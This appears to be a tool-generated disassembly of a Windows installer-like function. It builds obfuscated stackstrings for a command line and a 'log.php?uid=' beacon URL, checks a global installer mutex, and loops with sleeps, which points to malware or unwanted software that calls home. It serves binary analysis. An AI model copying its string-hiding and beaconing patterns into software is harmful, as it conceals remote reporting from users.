Function at 0x1400084a4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c8]
sub rsp, 0x4c8
mov qword [rbp - 0x18], 0xfffffffffffffffe
mov rax, qword [0x1400c0078]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov r15, r9
mov qword [rbp - 0x58], r9
mov r14, r8
mov qword [rbp - 0x60], r8
mov rsi, rdx
mov qword [rbp - 0x68], rdx
mov rbx, rcx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rdx
mov qword [rbp], r8
mov qword [rbp + 8], r9
mov r12, qword [rbp + 0x430]
mov qword [rsp + 0x58], r12
mov qword [rbp + 0x10], r12
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.OpenMutexA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x78], rax
xor r13d, r13d
test rax, rax
jne 0x1400085e3
mov rdx, qword [rbx]
sub rdx, 0x18
or rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008564
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsi]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008582
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r14]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400085a0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r15]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400085be
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [r12]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400085dc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor al, al
jmp 0x140008f82
call fcn.14000cb58
mov rcx, rax
test rax, rax
jne 0x1400085fb
mov ecx, 0x80004005
call fcn.14000c8e8
int3
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x30], rax
mov word [rbp + 0x363], 0x253d
mov dword [rbp + 0x36e], 0x3d646975
mov dword [rbp + 0x377], 0x73253d
mov dword [rbp + 0x366], 0x3d632d20
mov dword [rbp + 0x36a], 0x2d207325
mov dword [rbp + 0x358], 0x2073682d
mov dword [rbp + 0x372], 0x2d207325
mov dword [rbp + 0x35e], 0x69632d20
mov byte [rbp + 0x365], reloc.WS2_32.dll_WSAStartup
mov word [rbp + 0x35c], 0x732d
mov byte [rbp + 0x376], 0x67
mov byte [rbp + 0x362], 0x64
mov rax, qword [rsi]
mov qword [rsp + 0x28], rax
mov rax, qword [rbx]
mov qword [rsp + 0x20], rax
mov r9, qword [r15]
mov r8, qword [r14]
lea rdx, [rbp + 0x358]
lea rcx, [rsp + 0x30]
call fcn.14000be60
lea rdx, [0x14009df99]
lea rcx, [rbp - 0x80]
call fcn.14000c518
nop
mov r14d, r13d
mov dword [rsp + 0x38], r13d
or rdi, 0xffffffffffffffff
lea r15d, [rdi + 2]
lea r12d, [rdi + 0x10]
mov rcx, r15
call fcn.1400633b0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r13
call fcn.14000cb58
test rax, rax
je 0x140008f77
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov dword [rbp + 0x38c], 0x702e676f
mov dword [rbp + 0x39f], 0x26323d70
mov dword [rbp + 0x3aa], 0x253d6e6f
mov word [rbp + 0x3a4], 0x7478
mov word [rbp + 0x383], 0x7370
mov dword [rbp + 0x390], 0x753f7068
mov word [rbp + 0x397], 0x7325
mov dword [rbp + 0x385], 0x252f2f3a
mov word [rbp + 0x3a7], 0x736e
mov word [rbp + 0x380], 0x7468
mov dword [rbp + 0x39a], 0x73253d6d
mov word [rbp + 0x38a], 0x6c2f
mov word [rbp + 0x3ae], 0x64
mov byte [rbp + 0x382], reloc.WS2_32.dll_WSACleanup
mov word [rbp + 0x394], 0x6469
mov byte [rbp + 0x39e], Ordinal_41
mov byte [rbp + 0x396], 0x3d
mov byte [rbp + 0x3a9], WSAGetLastError
mov byte [rbp + 0x389], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x399], Ordinal_41
mov byte [rbp + 0x3a3], 0x65
mov byte [rbp + 0x3a6], 0x65
lea rcx, [rbp - 0x50]
call fcn.140006aa4
nop
mov dword [rsp + 0x28], r13d
lea rcx, [0x14009e458]
mov qword [rsp + 0x20], rcx
mov r9, qword [rbx]
mov r8, qword [rax]
lea rdx, [rbp + 0x380]
lea rcx, [rsp + 0x40]
call fcn.14000be60
nop
mov rdx, qword [rbp - 0x50]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008802
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
cmp r14d, 3
jl 0x140008820
lea r8, str.lg.php
lea rdx, str.log.php
lea rcx, [rsp + 0x40]
call fcn.14000b8b4
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14000c5b8
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
lea rdx, str.time_d
lea rcx, [rsp + 0x48]
call fcn.14000bfe4
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x48]
call fcn.14000c5b8
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400083a4
test al, al
je 0x140008c8f
cmp qword [rsp + 0x68], 0x100000
jb 0x140008dd7
lea rcx, [rbp + 0x40]
call fcn.140002d48
nop
mov byte [rbp + 0x40], r13b
mov word [rbp + 0x33d], 0x3231
mov dword [rbp + 0x34a], 0x31613564
mov dword [rbp + 0x337], 0x37393835
mov word [rbp + 0x34e], 0x3637
mov word [rbp + 0x345], 0x3230
mov dword [rbp + 0x331], 0x35336563
mov byte [rbp + 0x350], r13b
mov word [rbp + 0x340], 0x3365
mov word [rbp + 0x348], 0x3933
mov word [rbp + 0x33b], 0x3635
mov word [rbp + 0x343], 0x3237
mov byte [rbp + 0x342], Ordinal_50
mov byte [rbp + 0x347], 0x64
mov byte [rbp + 0x330], reloc.WLDAP32.dll_Ordinal_50
mov word [rbp + 0x335], 0x3736
mov byte [rbp + 0x33f], gethostname
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x28], r13
mov byte [rbp + 0x18], r13b
lea rax, [rbp + 0x330]
mov r8, rdi
inc r8
cmp byte [rax + r8], r13b
jne 0x140008929
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x18]
call fcn.140006914
nop
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x28], r13
mov byte [rbp - 0x38], r13b
xor r8d, r8d
lea rdx, [0x14009df9a]
lea rcx, [rbp - 0x38]
call fcn.140006914
lea r8, [rbp - 0x38]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x40]
call fcn.140002e68
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x14000898d
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0x18]
call fcn.1400068a8
mov rcx, qword [rsp + 0x68]
call fcn.14005a39c
mov rsi, rax
mov dword [rsp + 0x50], r13d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, rsi
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0x40]
call fcn.1400030b8
mov bl, al
mov rcx, qword [rsp + 0x60]
call fcn.140062f64
test bl, bl
jne 0x140008a45
mov rcx, rsi
call fcn.140059de8
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1400089f7
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0x100]
call fcn.1400068a8
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x110], r13
mov byte [rbp + 0x100], r13b
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140008a2b
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0xe0]
call fcn.1400068a8
mov qword [rbp + 0xf8], r12
mov qword [rbp + 0xf0], r13
mov byte [rbp + 0xe0], r13b
jmp 0x140008cac
movsxd rbx, dword [rsp + 0x50]
mov rcx, rbx
call fcn.14005a39c
mov r12, rax
mov r8, rbx
mov rdx, rsi
mov rcx, rax
call fcn.14005c230
mov rcx, rsi
call fcn.140059de8
lea rcx, [rsp + 0x78]
call fcn.14000a25c
nop
lea rdx, [0x14009e3cc]
mov rcx, qword [rsp + 0x78]
call fcn.140067f74
xor r14d, r14d
neg eax
sbb r15d, r15d
not r15d
and r15d, 0xa
xor r8d, r8d
lea rdx, [0x14009df9b]
lea rcx, [rbp - 0x80]
call fcn.14000c3ac
lea rdx, [0x14009df9e]
lea rcx, [rsp + 0x70]
call fcn.14000c518
nop
mov rbx, qword [rsp + 0x30]
mov ecx, 1
mov edx, 0x104
mov eax, dword [rbx - 0xc]
sub ecx, dword [rbx - 8]
sub eax, edx
cmp r15d, 0xa
jge 0x140008b00
or eax, ecx
jge 0x140008aeb
lea rcx, [rsp + 0x30]
call fcn.14000c7d4
mov rbx, qword [rsp + 0x30]
mov r8, rbx
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax]
mov rcx, r12
call section..fg9h9zd
jmp 0x140008b26
or eax, ecx
jge 0x140008b13
lea rcx, [rsp + 0x30]
call fcn.14000c7d4
mov rbx, qword [rsp + 0x30]
mov r8, rbx
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax]
mov rcx, r12
call fcn.14008851c
mov sil, al
lea eax, [r15 + 1]
xor r15d, r15d
cmp eax, 0x14
cmovl r15d, eax
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
call fcn.140067c28
test eax, eax
js 0x140008dcc
cmp eax, dword [rbx - 0xc]
jg 0x140008dcc
mov dword [rbx - 0x10], eax
cdqe
mov byte [rax + rbx], 0
test sil, sil
jne 0x140008b6f
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140008b99
xor ebx, ebx
lea r8, [0x14009e4b0]
xor edx, edx
mov ecx, 0x100000
call qword [rbp - 0x78]
test rax, rax
jne 0x140008bc6
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jl 0x140008b71
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008bb8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
inc r14d
cmp r14d, 0x14
jge 0x140008bf9
jmp 0x140008a96
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15d, 1
mov r13b, r15b
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008bff
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x140008bff
mov r15d, 1
mov rcx, r12
call fcn.140059de8
nop
mov rdx, qword [rsp + 0x78]
mov eax, edi
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], eax
add eax, edi
test r13b, r13b
jne 0x140008d06
xor r13d, r13d
test eax, eax
jg 0x140008c34
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140008c53
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0x100]
call fcn.1400068a8
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x110], r13
mov byte [rbp + 0x100], r13b
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140008c9b
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0xe0]
call fcn.1400068a8
jmp 0x140008c9b
mov rcx, qword [rsp + 0x60]
call fcn.140062f64
jmp 0x140008ca0
mov r14d, dword [rsp + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008ccc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008ceb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
add r14d, r15d
mov dword [rsp + 0x38], r14d
cmp r14d, 6
jge 0x140008ee7
mov rbx, qword [rbp - 0x70]
jmp 0x1400086c3
xor r13d, r13d
test eax, eax
jg 0x140008d17
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140008d36
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0x100]
call fcn.1400068a8
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x110], r13
mov byte [rbp + 0x100], r13b
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140008d6f
inc rdx
mov r8, r15
mov rcx, qword [rbp + 0xe0]
call fcn.1400068a8
mov qword [rbp + 0xf8], rbx
mov qword [rbp + 0xf0], r13
mov byte [rbp + 0xe0], r13b
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008da4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008ee7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x140008ee7
mov ecx, 0x80070057
call fcn.14000c8e8
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008df7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008e17
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008e36
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008e56
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008e74
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x68]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008e96
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x60]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008eb8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x58]
mov rdx, qword [rdx]
sub rdx, 0x18
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008eda
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax]
jmp 0x1400085c2
mov ebx, r13d
mov rdi, qword [rbp - 0x78]
lea r8, str.GlobalCInstallerMutex
xor edx, edx
mov ecx, 0x100000
call rdi
test rax, rax
je 0x140008f22
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, r15d
cmp ebx, 0xf0
jl 0x140008eee
call fcn.140006d84
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
or rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008f4b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140008f6b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x70]
mov rdx, qword [rdx]
jmp 0x140008e59
mov ecx, 0x80004005
call fcn.14000c8e8
nop
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140059ac0
add rsp, 0x4c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret